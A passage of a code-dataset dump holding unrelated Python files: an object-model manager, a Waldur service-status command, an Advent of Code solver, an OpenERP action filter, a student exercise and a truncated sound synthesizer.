rom_relation.RelationMgr.revise_relation(cls)\n # Create the first ROM object: SysEntry\n cls._root = ROMManager.create_object(\"SysEntry\")\n cls._fire_callbacks(cls._post_rom_init_callbacks)\n\n @classmethod\n def finalize_rom(cls):\n cls._class_depot.clear()\n cls._object_depot.clear()\n cls._object_depot2.clear()\n cls._root = None\n rom_relation.RelationMgr.clean_relation()\n\n @classmethod\n def register_cls(cls, rom_cls):\n if rom_cls.cls_name() in cls._class_depot:\n raise exception.ROMDuplicateError(cls.__name__, rom_cls.cls_name(), 'class depot')\n\n cls._class_depot[rom_cls.cls_name()] = rom_cls\n\n @classmethod\n def get_cls(cls, name):\n return cls._class_depot[name] if name in cls._class_depot else None\n\n @classmethod\n def __create_object(cls, target_cls, parent=None, creation_mode=base_types.CreationMode.NORMAL, *args, **kwargs):\n \"\"\"Encapsulate the most basic operations for creating a ROM object\n \"\"\"\n return target_cls(parent=parent, creation_mode=creation_mode, *args, **kwargs)\n\n @classmethod\n def create_object(cls, cls_name, parent=None, need_sync=True, *args, **kwargs):\n if cls_name not in cls._class_depot:\n raise exception.ROMClassNotFound(cls_name)\n\n target_cls = cls._class_depot[cls_name]\n if target_cls.singleton:\n if not target_cls.single_instance:\n target_cls.single_instance = target_cls(parent=parent, need_sync=need_sync, *args, **kwargs)\n return target_cls.single_instance\n\n return target_cls(parent=parent, need_sync=need_sync, *args, **kwargs)\n\n @classmethod\n def clone_object(cls, src_obj, parent=None):\n \"\"\"Clone a single object\n \"\"\"\n my_cls = type(src_obj)\n if my_cls.singleton:\n return my_cls.single_instance\n\n return my_cls(parent=parent, prototype=src_obj, creation_mode=base_types.CreationMode.CLONE)\n\n @classmethod\n def des_object(cls, buf, parent=None):\n \"\"\"Deserialize an object from proto buf\n \"\"\"\n if buf.cls_name not in cls._class_depot:\n raise exception.ROMClassNotFound(buf.cls_name)\n\n if parent and buf.cls_name in parent.auto_born_relations:\n # Delete the children automatically born when the parent is created. Here depends on the fact that\n # relatives are hold in a FIFO data structure.\n children = parent.get_target_relatives(parent.auto_born_relations[buf.cls_name])\n for child in children:\n if not child.is_auto_born():\n break\n child.finalize()\n\n target_cls = cls._class_depot[buf.cls_name]\n if target_cls.singleton:\n target_cls.single_instance = target_cls(parent=parent, prototype=buf,\n creation_mode=base_types.CreationMode.DES)\n return target_cls.single_instance\n\n return target_cls(parent=parent, prototype=buf, creation_mode=base_types.CreationMode.DES)\n\n @classmethod\n def clone_objects(cls, obj, target=None):\n \"\"\"Clone the whole subtree with obj as the root formed through relation supporting clone\n Clone follows the same process as deserialization\n Args:\n :param obj: ROM class object to be cloned\n :type obj: Any ROM class\n :param target: The object that the cloned object will be mounted to\n :type obj: Any ROM class\n\n Returns:\n :return: The copy of obj\n :rtype: Any ROM class\n \"\"\"\n cls.cloning_object = True\n v_tree = virt_tree.VirtualTree(obj, pruner=(lambda r: not r.cloneable))\n\n # Get all the objects to be cloned to simplify the clone procedure below\n all_cloned_obj = {node.handle: node for node in v_tree}\n obj_clone_depot = {}\n orphans = {}\n pending_relations = {}\n for node in v_tree:\n # Clone all the objects including parent_child_relation\n # Handle parent_child_relation in a special way so as to be able to access its parent when calling\n # on_init_done at the end of cloning a child object\n parent = None\n node_wrapper = ObjSourceWrapper(base_types.CreationMode.CLONE, node)\n parent_ori_handle = node_wrapper.get_parent_handle()\n if parent_ori_handle and parent_ori_handle not in obj_clone_depot:\n # Child is met before its parent, defer its clone until its parent is cloned.\n if parent_ori_handle not in all_cloned_obj:\n # There is no need to defer cloning the object as its parent will not be involved in the clone\n # procedure and no chance to adopt it. Get the parent from the global object dict. If target is\n # provided, it will be the parent of obj's clone (Actually it is a clone(copy)-to operation).\n parent = target if target and node is obj else cls.get_object(parent_ori_handle)\n\n else:\n if parent_ori_handle in orphans:\n orphans[parent_ori_handle].append(node_wrapper)\n else:\n orphans[parent_ori_handle] = [node_wrapper]\n continue\n\n if not parent:\n # No parent or parent has been cloned\n parent = obj_clone_depot.get(parent_ori_handle, None)\n obj_clone = cls._create_obj_from(node_wrapper, parent, orphans, pending_relations, obj_clone_depot,\n all_cloned_obj)\n\n # Restore relations other than parent_child_relation\n cls._process_normal_src_rel(obj_clone, node_wrapper, pending_relations, obj_clone_depot, all_cloned_obj)\n\n if not pending_relations:\n # The source relatives of some cloned objects are not involved in the clone procedure,\n for src_handle, relations in pending_relations:\n src_obj = cls.get_object(src_handle)\n if src_obj:\n cls._handle_pending_rel(src_obj, relations)\n\n cls.cloning_object = False\n return obj_clone_depot[obj.handle] if obj.handle in obj_clone_depot else None\n\n @classmethod\n def register_obj(cls, obj):\n # Register an object to object depot upon being created\n cls._object_depot[obj.handle] = obj\n cls._object_depot2[obj.rom_id] = obj\n\n @classmethod\n def unregister_obj(cls, obj):\n # Unregister an object from object depot before being deleted\n obj = cls._object_depot.pop(obj.handle, obj)\n cls._object_depot2.pop(obj.rom_id, None)\n\n @classmethod\n def get_object(cls, handle):\n return cls._object_depot[handle] if handle in cls._object_depot else None\n\n @classmethod\n def get_object_throw(cls, handle):\n obj = cls.get_object(handle)\n if not obj:\n raise exception.ROMValidationException('Invalid handle :' + str(handle))\n else:\n return obj\n\n @classmethod\n def get_obj_by_id(cls, obj_id):\n # Get ROM object by its ID\n return cls._object_depot2[obj_id] if obj_id in cls._object_depot2 else None\n\n @classmethod\n def id_to_handle(cls, obj_id):\n obj = cls.get_obj_by_id(obj_id)\n return obj.handle if obj else ''\n\n @classmethod\n def id_to_name(cls, obj_id):\n obj = cls.get_obj_by_id(obj_id)\n return obj.Name if obj else ''\n\n @classmethod\n def handle_to_name(cls, handle):\n obj = cls.get_object(handle)\n return obj.Name if obj else ''\n\n @classmethod\n def handles_to_names(cls, handles):\n if not handles:\n return ''\n\n handle_list = handles.split(',')\n names = []\n for handle in handle_list:\n obj = cls.get_object(handle)\n if obj:\n names.append(obj.Name)\n\n return ','.join(names) if names else ''\n\n @classmethod\n def delete_object(cls, handle, need_sync=True):\n obj = cls.get_object(handle)\n if not obj:\n return\n is_deletable, reason = obj.is_deletable()\n if is_deletable:\n obj.finalize(need_sync=need_sync)\n else:\n raise exception.ROMPublicException('Failed to delete object {0}: {1}'.format(handle, reason))\n\n @classmethod\n def serialize_rom(cls, file_name, root=None, force=False):\n with concurrent.ConcurrentCtx:\n msg_queue = concurrent.Queue()\n writer = concurrent.Concurrent(target=save_config, args=(file_name, msg_queue))\n writer.start()\n\n rom_space = object_model_interface_pb2.ROMSpace()\n rom_space.version = '1.0'\n msg_queue.put(rom_space.SerializeToString())\n rom_space.Clear()\n\n if not root:\n root = cls._root\n v_tree = virt_tree.VirtualTree(root)\n for obj in v_tree:\n if type(obj).serializable or force:\n obj.to_buf(rom_space.rom_objects.add(), for_sync=False)\n msg_queue.put(rom_space.SerializeToString())\n rom_space.Clear()\n\n msg_queue.put('')\n writer.join()\n return rom_space\n\n @classmethod\n def deserialize_rom(cls, file_name, target=None):\n # Load serialized object information from the given file and restore ROM with the information\n # If target is None, the file should include a complete ROM space. If target is not None, the file only has part\n # of a ROM space, the deserialized objects will be mounted to the target object which might be any object in a\n # ROM space.\n # NOTE: The file to be deserialized MUST be self-contained, which means that any relative of any object in the\n # file must also be in the file.\n\n rom_space = object_model_interface_pb2.ROMSpace()\n with open(file_name, 'rb') as rom_file:\n rom_space.ParseFromString(rom_file.read())\n\n first_obj = None\n tmp_obj_depot = {}\n orphans = {}\n pending_relations = {}\n\n # protobuf object has a large memory footprint, a couple of hundred thousands of objects may consume 6 gigabyte\n # memory. So we cannot hold all the references to protobuf objects during the deserialization. However,\n # protobuf repeated field has no efficient way to remove a single value, we have to make a list from the\n # repeated field and then clear that field.\n buf_objects = [buf for buf in reversed(rom_space.rom_objects)]\n del rom_space.rom_objects[:]\n\n while True:\n try:\n buf = buf_objects.pop()\n except IndexError:\n break\n # 1. Create all the objects including parent_child_relation\n # Handle parent_child_relation in a special way so as to be able to access its parent when calling\n # on_init_done at the end of deserializing a child object\n buf_wrapper = ObjSourceWrapper(base_types.CreationMode.DES, buf)\n parent_handle = buf_wrapper.get_parent_handle()\n if parent_handle and parent_handle not in tmp_obj_depot:\n # Child is serialized before its parent, defer its deserialization until its parent is deserialized.\n if parent_handle in orphans:\n orphans[parent_handle].append(buf_wrapper)\n else:\n orphans[parent_handle] = [buf_wrapper]\n else:\n if not first_obj and target:\n # If target is provided, it will be the parent of the first deserialized object.\n parent = target\n else:\n # No parent or parent has been deserialized\n parent = tmp_obj_depot.get(parent_handle, None)\n try:\n obj = cls._create_obj_from(buf_wrapper, parent, orphans, pending_relations, tmp_obj_depot)\n except exception.ROMClassNotFound:\n log.Logger.CL.warning('Failed to deserialize ROM object {0} due to its class {1} may already '\n 'be deprecated'.format(buf.obj_handle, buf.cls_name))\n obj = None\n\n if not obj:\n continue\n\n if not first_obj:\n first_obj = obj\n\n # 2. Restore relations other than parent_child_relation\n cls._process_normal_src_rel(obj, buf_wrapper, pending_relations, tmp_obj_depot)\n\n from framework.rom import rom_property\n rom_property.HandleProperty.resolve(tmp_obj_depot)\n\n return True if not len(orphans) and not len(pending_relations) else False, first_obj\n\n @classmethod\n def sync_rom(cls, msg, user, root_obj=None):\n # Starting from root_obj sync ROM objects following all the relations. If root_obj is None, use _root\n # as the start point.\n if not root_obj:\n if not cls._root:\n return\n root_obj = cls._root\n\n msg_buffer = msg.SerializeToString()\n msg.Clear()\n obj_cnt = 0\n\n v_tree = virt_tree.VirtualTree(root_obj)\n for obj in v_tree:\n msg_body = msg.OMs.add()\n msg_body.CMD = object_model_interface_pb2.OMMsg.SYNC\n obj.to_buf(msg_body.rom_object)\n obj_cnt += 1\n # Cannot hold too many protobuf objects due to its large memory footprint. Serializing them to string for\n # every 1000 objects.\n if obj_cnt > 1000:\n msg_buffer += msg.SerializeToString()\n msg.Clear()\n obj_cnt = 0\n\n if obj_cnt:\n msg_buffer += msg.SerializeToString()\n user.send_msg(bytes(msg_buffer))\n\n cls._fire_callbacks(cls._post_sync_callbacks)\n\n @classmethod\n def register_post_rom_init(cls, cb, one_shot=False):\n cls._post_rom_init_callbacks.add(cb)\n if one_shot:\n cls._one_shot_callbacks.add(cb)\n\n @classmethod\n def unregister_post_rom_init(cls, cb):\n if cb in cls._post_rom_init_callbacks:\n cls._post_rom_init_callbacks.remove(cb)\n if cb in cls._one_shot_callbacks:\n cls._one_shot_callbacks.remove(cb)\n\n @classmethod\n def register_post_reset_rom(cls, cb, one_shot=False):\n cls._post_reset_callbacks.add(cb)\n if one_shot:\n cls._one_shot_callbacks.add(cb)\n\n @classmethod\n def unregister_post_reset_rom_event(cls, cb):\n if cb in cls._post_reset_callbacks:\n cls._post_reset_callbacks.remove(cb)\n if cb in cls._one_shot_callbacks:\n cls._one_shot_callbacks.remove(cb)\n\n @classmethod\n def register_post_sync_cb(cls, cb, one_shot=False):\n cls._post_sync_callbacks.add(cb)\n if one_shot:\n cls._one_shot_callbacks.add(cb)\n\n @classmethod\n def unregister_post_sync_cb(cls, cb):\n if cb in cls._post_sync_callbacks:\n cls._post_sync_callbacks.remove(cb)\n if cb in cls._one_shot_callbacks:\n cls._one_shot_callbacks.remove(cb)\n\n @classmethod\n def register_post_loading_cb(cls, cb, one_shot=False):\n cls._post_loading_callbacks.add(cb)\n if one_shot:\n cls._one_shot_callbacks.add(cb)\n\n @classmethod\n def unregister_post_loading_cb(cls, cb):\n if cb in cls._post_loading_callbacks:\n cls._post_loading_callbacks.remove(cb)\n if cb in cls._one_shot_callbacks:\n cls._one_shot_callbacks.remove(cb)\n\n @classmethod\n def reset_rom(cls):\n # Reset ROM to the initial state (after init_rom invoked)\n if not cls._root:\n return\n\n v_tree = virt_tree.VirtualTree(cls._root)\n # Here needs to iterate ROM and get all the objects before deleting any object, otherwise there would be objects\n # that could not be iterated as children are deleted along with their parent deleted.\n rom_space = [obj for obj in v_tree]\n for obj in rom_space:\n # Some objects may already be deleted along with its parent deleted.\n if obj.handle in cls._object_depot:\n obj.finalize(need_sync=False)\n\n cls._root = None\n cls._object_depot.clear()\n cls._object_depot2.clear()\n\n # Get the instance of SysEntry always have the same handle\n sys_entry_cls = cls.get_cls('SysEntry')\n sys_entry_cls.instance_index = 1\n cls._fire_callbacks(cls._post_reset_callbacks)\n # for c in cls._class_depot.values():\n # c.instance_index = 0\n # if cls._object_depot:\n # log.Logger.CL.debug('There are objects not deleted from SysEntry')\n # cls._object_depot.clear()\n # cls._object_depot2.clear()\n\n @classmethod\n def _handle_pending_rel(cls, src_obj, pending_rel_list):\n for r in pending_rel_list:\n src_obj.establish_relation(*r)\n\n @classmethod\n def _create_obj_from(cls, src, parent, orphans, pending_relations, obj_depot, all_src=None):\n # Create an object from a source that may be a ROM object to be cloned or an object protocol buffer\n # to be deserialized.\n obj = src.create_obj(parent)\n src_handle = src.handle()\n obj_depot[src_handle] = obj\n\n if src_handle in orphans:\n # Current object has orphans to be adopted\n for orphan in orphans[src_handle]:\n child_obj = cls._create_obj_from(orphan, obj, orphans, pending_relations, obj_depot, all_src)\n cls._process_normal_src_rel(child_obj, orphan, pending_relations, obj_depot, all_src)\n orphans.pop(src_handle)\n\n if src_handle in pending_relations:\n cls._handle_pending_rel(obj, pending_relations[src_handle])\n pending_relations.pop(src_handle)\n\n return obj\n\n @classmethod\n def _process_normal_src_rel(cls, obj, src, pending_relations, created_obj_depot, all_src=None):\n for name, handle in src.normal_src_relatives():\n if handle in created_obj_depot:\n created_obj_depot[handle].establish_relation(obj, name)\n elif all_src and handle not in all_src:\n # Current only clone can reach this branch.\n # Note: It remains to be determined whether clone this kind of relation.\n # The source relative will not be involved in the creation procedure, there is no need to put it in the\n # pending relation depot. Get the source relative from the global object depot.\n # src_relative = cls.get_object(handle)\n # if src_relative:\n # src_relative.establish_relation(obj, name)\n pass\n else:\n # The source has not been processed\n if handle in pending_relations:\n pending_relations[handle].append((obj, name))\n else:\n pending_relations[handle] = [(obj, name)]\n\n @classmethod\n def set_root(cls, obj):\n if not obj.is_instance('SysEntry'):\n raise exception.ROMUnexpectedClass('SysEntry', obj.cls_name(),\n 'The first ROM object must be the instance of SysEntry')\n cls._root = obj\n\n @classmethod\n def notify_loading_done(cls):\n cls._fire_callbacks(cls._post_loading_callbacks)\n\n @classmethod\n def _fire_callbacks(cls, cbs):\n removed_cbs = set()\n for cb in cbs:\n cb()\n if cb in cls._one_shot_callbacks:\n removed_cbs.add(cb)\n cls._one_shot_callbacks.remove(cb)\n if removed_cbs:\n cbs.difference_update(removed_cbs)\n\n @classmethod\n def snapshot(cls, conn_str, overwrite, cls_filter=None, obj_filter=None, obj_filter_list=None):\n from framework.service import db_service\n # Add logger here to debug XET-5307, this will affect performance, remove it before release to customer\n log.Logger.CL.info('Begin snapshot operation')\n try:\n (db_engine, db_Session) = cls._connect_db(conn_str, overwrite)\n db_session = db_Session()\n log.Logger.CL.info('Connect DB and prepare DB session done')\n\n db_service.Base.metadata.create_all(db_engine)\n log.Logger.CL.info('Create all DB table done')\n\n db_engine.execute(\n db_service.SysTable.__table__.insert(),\n [\n dict(\n TableName='%s' % str(om_cls.cls_name()),\n Description='%s' % str(om_cls.cls_name())\n )\n for om_cls in cls._class_depot.values() if cls_filter is None or not cls_filter(om_cls)\n ]\n )\n\n log.Logger.CL.info('Insert Table description information done')\n\n table_set = set()\n for obj in cls._object_depot.values():\n if obj_filter is not None and obj_filter(obj):\n continue\n if obj_filter_list is not None and obj in obj_filter_list:\n continue\n if not obj.orm_cls:\n obj.create_orm_cls()\n cls_name = obj.cls_name()\n if cls_name not in table_set:\n cls._create_db_table(obj, db_engine)\n table_set.add(cls_name)\n\n orm_obj = obj.to_db()\n db_session.add(orm_obj)\n\n log.Logger.CL.info('Iterate object model tree done')\n db_session.flush()\n db_session.commit()\n log.Logger.CL.info('Commit all data to DB done')\n except Exception as e:\n log.Logger.CL.error('Caught exception in snapshot: {}'.format(str(e)))\n db_session.rollback()\n log.Logger.CL.error('Rollback database data done')\n raise\n finally:\n # db_session.close()\n # db_session = None\n # db_engine = None\n log.Logger.CL.info('End snapshot operation')\n return db_session, db_engine\n\n @classmethod\n def _connect_db(cls, conn_str, overwrite):\n from framework.service import db_service\n return db_service.SqliteDBService.create_db(conn_str, overwrite, auto_flush=False, auto_commit=False)\n\n @classmethod\n def _create_db_table(cls, obj, db_engine):\n from framework.service import db_service\n db_service.SqliteDBService.lite_create_table(obj.orm_cls, db_engine)\n\n @classmethod\n def find_objects(cls, nodes, obj_path):\n \"\"\"\n Find objects by object path from certain nodes\n :param nodes: Nodes to be search from.\n :param obj_path: A list with tuple of string like [(ROMName0, Relation0), (ROMName1, Relation1)...]. \n :return:\n \"\"\"\n ret = []\n if not nodes or not obj_path:\n return ret\n\n index = 0\n length = len(obj_path)\n for station in obj_path:\n for node in nodes:\n ret.extend(node.get_target_relatives_by_name(station[1], station[0]))\n index += 1\n if index < length:\n nodes = ret\n ret = []\n\n return ret\n\n @classmethod\n def find_descendants(cls, nodes, cls_name_list):\n \"\"\"\n Find descendants from nodes from object model tree. find_objects method finds objects\n via any relation; this method finds objects via parent child relation\n :param nodes: Nodes to be search from.\n :param cls_name_list: A list with tuple of string like [ROMName0, ROMName1...].\n :return:\n \"\"\"\n ret = []\n if not nodes or not cls_name_list:\n return ret\n\n index = 0\n length = len(cls_name_list)\n for cls_name in cls_name_list:\n for node in nodes:\n ret.extend(node.get_target_relatives_by_name(base_types.PARENT_CHILD_RELATION, cls_name))\n index += 1\n if index < length:\n nodes = ret\n ret = []\n\n return ret\n\n\nclass ObjSourceWrapper:\n \"\"\"Class used to wrapper the source object from which a ROM object is created.\n The wrapped object may be a protocol buffer to be deserialized or a ROM object to be cloned.\n With this wrapper class we can have unify the procedure of deserialization and clone.\n \"\"\"\n def __init__(self, creation_mod, obj_src):\n self.creation_mode = creation_mod\n self.obj_src = obj_src\n\n def create_obj(self, parent):\n if self.creation_mode == base_types.CreationMode.DES:\n obj = ROMManager.des_object(self.obj_src, parent=parent)\n else:\n obj = ROMManager.clone_object(src_obj=self.obj_src, parent=parent)\n\n return obj\n\n def handle(self):\n if self.creation_mode == base_types.CreationMode.DES:\n return self.obj_src.obj_handle\n else:\n return self.obj_src.handle\n\n def normal_src_relatives(self):\n if self.creation_mode == base_types.CreationMode.DES:\n for name, sources in self.obj_src.source_relatives.items():\n if name.lower() != base_types.PARENT_CHILD_RELATION.lower():\n for h in sources.handle:\n yield name, h\n else:\n for name, sources in self.obj_src._src_relatives.items():\n if name.lower() != base_types.PARENT_CHILD_RELATION.lower():\n for s in sources:\n yield name, s.handle\n\n def get_parent_handle(self):\n if self.creation_mode == base_types.CreationMode.DES:\n if base_types.PARENT_CHILD_RELATION in self.obj_src.source_relatives:\n return self.obj_src.source_relatives[base_types.PARENT_CHILD_RELATION].handle[0]\n else:\n parent = self.obj_src.get_parent()\n return parent.handle if parent else None\n","sub_path":"CL/framework/rom/manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":28403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"434976949","text":"# -*- coding: utf-8 -*-\n#COMECE AQUI ABAIXO\ni = 1\nnp = int(input('Informe o número de pessoas: '))\nwhile i<=np:\n instante = int(input('Instante: '))\n total = instante+10\n i += 1\n \nprint (total)\n\n\n\n","sub_path":"moodledata/vpl_data/380/usersdata/308/71464/submittedfiles/testes.py","file_name":"testes.py","file_ext":"py","file_size_in_byte":210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"356961628","text":"import logging\n\nimport requests\nfrom django.contrib.auth import authenticate, get_user_model\nfrom django.core.management.base import BaseCommand\nfrom django.db import connection\nfrom django.db.utils import OperationalError\nfrom redis import exceptions as redis_exceptions\nfrom rest_framework import status\nfrom rest_framework.authtoken.models import Token\n\nfrom waldur_core.core.schemas import WaldurEndpointInspector\nfrom waldur_core.server.celery import app as celery_app\n\nUser = get_user_model()\n\n\nclass Command(BaseCommand):\n help = \"Check status of Waldur MasterMind configured services\"\n\n def add_arguments(self, parser):\n parser.add_argument(\n '--check-api-endpoints-at',\n dest='base_url',\n default=None,\n help='Runs API endpoints check at specified base URL (i.e. http://example.com). '\n 'If this argument is not provided, check will be skipped.',\n )\n\n def handle(self, *args, **options):\n success_status = self.style.SUCCESS(' [OK]')\n error_status = self.style.ERROR(' [ERROR]')\n output_messages = {\n 'database': ' - Database %(vendor)s connection',\n 'workers': ' - Task runners (Celery workers)',\n 'redis': ' - Queue and cache server (Redis) connection',\n }\n padding = len(max(output_messages.values(), key=len))\n # If services checks didn't pass, skip API endpoints check\n skip_endpoints = False\n\n # Rise logging level to prevent redundant log messages\n logging.disable(logging.CRITICAL)\n self.stdout.write('Checking Waldur MasterMind services...')\n\n # Check database connectivity\n db_vendor = (\n connection.vendor.capitalize().replace('sql', 'SQL').replace('Sql', 'SQL')\n )\n self.stdout.write(\n (output_messages['database'] % {'vendor': db_vendor}).ljust(padding),\n ending='',\n )\n try:\n connection.cursor()\n except OperationalError:\n skip_endpoints = True\n self.stdout.write(error_status)\n else:\n self.stdout.write(success_status)\n\n # Check celery and redis\n celery_inspect = celery_app.control.inspect()\n celery_results = {\n 'workers': success_status,\n 'redis': success_status,\n }\n try:\n stats = celery_inspect.stats()\n if not stats:\n skip_endpoints = True\n celery_results['workers'] = error_status\n except redis_exceptions.RedisError:\n skip_endpoints = True\n celery_results['redis'] = error_status\n celery_results['workers'] = error_status\n finally:\n self.stdout.write(\n output_messages['workers'].ljust(padding) + celery_results['workers']\n )\n self.stdout.write(\n output_messages['redis'].ljust(padding) + celery_results['redis']\n )\n\n if skip_endpoints:\n self.stderr.write('API endpoints check skipped due to erred services')\n exit(1)\n elif options['base_url'] is None:\n self.stdout.write('API endpoints check skipped')\n else:\n self._check_api_endpoints(options['base_url'])\n\n # return logging level back\n logging.disable(logging.NOTSET)\n\n def _check_api_endpoints(self, base_url):\n self.stdout.write('\\nChecking Waldur MasterMind API endpoints...')\n inspector = WaldurEndpointInspector()\n endpoints = inspector.get_api_endpoints()\n user, _ = User.objects.get_or_create(\n username='waldur_status_checker', is_staff=True\n )\n authenticate(username='waldur_status_checker')\n token = Token.objects.get(user=user)\n\n for endpoint in endpoints:\n path, method, view = endpoint\n if method != 'GET' or '{pk}' in path or '{uuid}' in path:\n continue\n\n url = base_url + path\n self.stdout.write(' Checking %s endpoint...' % url, ending='')\n try:\n response = requests.get(\n url, headers={'Authorization': 'Token %s' % token.key}\n )\n except requests.RequestException:\n self.stdout.write(self.style.ERROR(' [ERROR]'))\n else:\n if response.status_code != status.HTTP_200_OK:\n self.stdout.write(self.style.ERROR(' [%d]' % response.status_code))\n else:\n self.stdout.write(self.style.SUCCESS(' [200]'))\n\n # clean up\n user.delete()\n","sub_path":"src/waldur_mastermind/support/management/commands/status.py","file_name":"status.py","file_ext":"py","file_size_in_byte":4655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"70793991","text":"import re\nfrom typing import List\n\nimport config\n\n\nOP_RE = re.compile(r'^(jm|no)p')\n\n\ndef replace_bad_op(instructions: List[str]) -> int:\n \"\"\"Replace the bad op that causes infinite loop and get the accumulator.\n\n Args:\n instructions (List[str]): the game's instructions\n\n Returns:\n int: the accumulator value after replacing the bad op\n\n \"\"\"\n # Record all indices where swapping is allowed.\n # In other words, every index in this list corresponds to either\n # 'jmp' or 'nop' operators.\n swap = [i for i, op in enumerate(instructions) if OP_RE.search(op)]\n\n while True:\n visited = set()\n step = 0\n acc = 0\n swapped = None\n while step not in visited:\n visited.add(step)\n # Because a valid program is considered when the instruction\n # pointer ends up out of bounds, check for IndexError for\n # the step against the whole instructions list.\n try:\n op, value = instructions[step].split(' ')\n if swapped == step or (swapped is None and step in swap):\n op = 'jmp' if op == 'nop' else 'nop'\n swapped = step\n except IndexError:\n return acc\n\n if op == 'nop':\n step += 1\n elif op == 'acc':\n step += 1\n acc += int(value)\n elif op == 'jmp':\n step += int(value)\n else:\n config.LOGGER.error(f'Unidentified op code: {op}')\n\n # if step > len(instructions):\n # return acc\n\n # The loop exited without going out of bounds (and returning),\n # meaning that this was the wrong operation to swap. Remove it\n # so that next loop it won't be changed.\n swap.remove(swapped)\n\n\ndef iterate_instructions_once(instructions: List[str]) -> int:\n \"\"\"Iterate through game instructions only once.\n\n Args:\n instructions (List[str]): the game's instructions\n\n Returns:\n int: the accumulator value before the infinite loop starts over\n\n \"\"\"\n visited = set()\n step = 0\n acc = 0\n while step not in visited:\n visited.add(step)\n op, value = instructions[step].split(' ')\n if op == 'nop':\n step += 1\n elif op == 'acc':\n step += 1\n acc += int(value)\n elif op == 'jmp':\n step += int(value)\n else:\n config.LOGGER.error(f'Unidentified op code: {op}')\n\n return acc\n\n\ndef main() -> None:\n \"\"\"Process game instructions.\"\"\"\n # Part A\n test_answer = 5\n file = config.TestFile(test_answer)\n test = iterate_instructions_once(file.contents)\n file.test(test)\n\n file = config.File()\n result = iterate_instructions_once(file.contents)\n config.log_part_info('A', result)\n\n # Part B\n test_answer = 8\n file = config.TestFile(test_answer)\n test = replace_bad_op(file.contents)\n file.test(test)\n\n file = config.File()\n result = replace_bad_op(file.contents)\n config.log_part_info('B', result)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"2020/08/a.py","file_name":"a.py","file_ext":"py","file_size_in_byte":3150,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"136893536","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n##############################################################################\n#\n# OpenERP, Open Source Management Solution\n# Copyright (C) 2004-2010 Tiny SPRL ().\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Affero General Public License as\n# published by the Free Software Foundation, either version 3 of the\n# License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with this program. If not, see .\n#\n##############################################################################\n\n\nfrom openerp import SUPERUSER_ID\nfrom openerp.osv import fields, osv\nfrom openerp.tools.translate import _\n\n\nclass ir_action_window(osv.osv):\n _inherit = 'ir.actions.act_window'\n\n def read(self, cr, uid, ids, fields=None, context=None, load='_classic_read'):\n res = super(ir_action_window, self).read(\n cr, uid, ids, fields=fields, context=context, load=load)\n if not isinstance(res, list):\n res = [res]\n ir_model_data = self.pool.get('ir.model.data')\n partners = []\n templates = []\n variants = []\n obj_user = self.pool.get('res.users').browse(\n cr, uid, uid, context=context)\n groups_ids = [x.id for x in obj_user.groups_id]\n salesperson_group_id = ir_model_data.get_object_reference(\n cr, uid, 'base', 'group_sale_salesman')[1]\n manager_group_id = ir_model_data.get_object_reference(\n cr, uid, 'base', 'group_sale_manager')[1]\n if salesperson_group_id in groups_ids:\n partners = self.pool.get('res.partner').search(\n cr, uid, [('customer', '=', True), ('user_ids', 'in', [uid])])\n templates = self.pool.get('product.template').search(\n cr, uid, [('user_ids', 'in', [uid])])\n variants = self.pool.get('product.product').search(\n cr, uid, [('product_tmpl_id', 'in', templates)])\n if manager_group_id in groups_ids:\n partners = self.pool.get('res.partner').search(cr, uid, [])\n templates = self.pool.get('product.template').search(cr, uid, [])\n variants = self.pool.get('product.product').search(cr, uid, [])\n all_partners = \"\"\n if partners:\n for i in partners:\n all_partners = all_partners + str(i) + ','\n all_partners = all_partners.rstrip(',')\n all_templates = \"\"\n if templates:\n for i in templates:\n all_templates = all_templates + str(i) + ','\n all_templates = all_templates.rstrip(',')\n all_variants = \"\"\n if variants:\n for i in variants:\n variants = all_variants + str(i) + ','\n variants = all_variants.rstrip(',')\n custstring = 'customer_team()'\n tempstring = 'template_team()'\n varstring = 'variant_team()'\n for r in res:\n if custstring in (r.get('domain', '[]') or ''):\n r['domain'] = r['domain'].replace(custstring, all_partners)\n if tempstring in (r.get('domain', '[]') or ''):\n r['domain'] = r['domain'].replace(tempstring, all_templates)\n if varstring in (r.get('domain', '[]') or ''):\n r['domain'] = r['domain'].replace(varstring, all_variants)\n if isinstance(ids, (int, long)):\n if res:\n return res[0]\n else:\n return False\n return res\n","sub_path":"sales_extension/ir_actions.py","file_name":"ir_actions.py","file_ext":"py","file_size_in_byte":3933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"183195614","text":"import sys,os\nimport time,random\nimport wave,argparse,pygame\nimport numpy as np\nfrom collections import deque\nfrom matplotlib import pyplot as plt\n\ngShowPlot = False\n\n\n# notes of a Pentatonic Minor scale 定义钢琴音符\n# piano C4-E(b)-F-G-B(b)-C5\npmNotes = {'C4': 262, 'Eb': 311, 'F': 349, 'G':391, 'Bb':466}\n\n# write out WAVE file 写出wave文件\ndef writeWAVE(fname,data):\n file = wave.open(fname,'wb')\n nChannels = 1\n sampleWidth = 2\n frameRate = 44100\n nFrames = 44100\n\n file.setparams((nChannels,sampleWidth,frameRate,nFrames,'NONE','noncompressed'))\n\n file.writeframes(data)\n file.close()\n\n#generate note of given frequency生成给定频率的音符\ndef generateNote(freq):\n nSamples = 44100\n sampleRate = 44100 #采样率\n N = int(sampleRate/freq)\n # initialize ring buffer 初始化环形缓冲区\n buf = deque([random.random()-0.5 for i in range(N)]) #生成随机数list (+- 0.5))\n #plot of flag set 标志集图\n if gShowPlot:\n axline, = plt.plot(buf)\n # init sample buffer 示例缓冲区\n samples = np.array([0]*nSamples,'float32')\n for i in range(nSamples):\n samples[i] = buf[0]\n avg = 0.995*0.5*(buf[0] + buf[1])\n 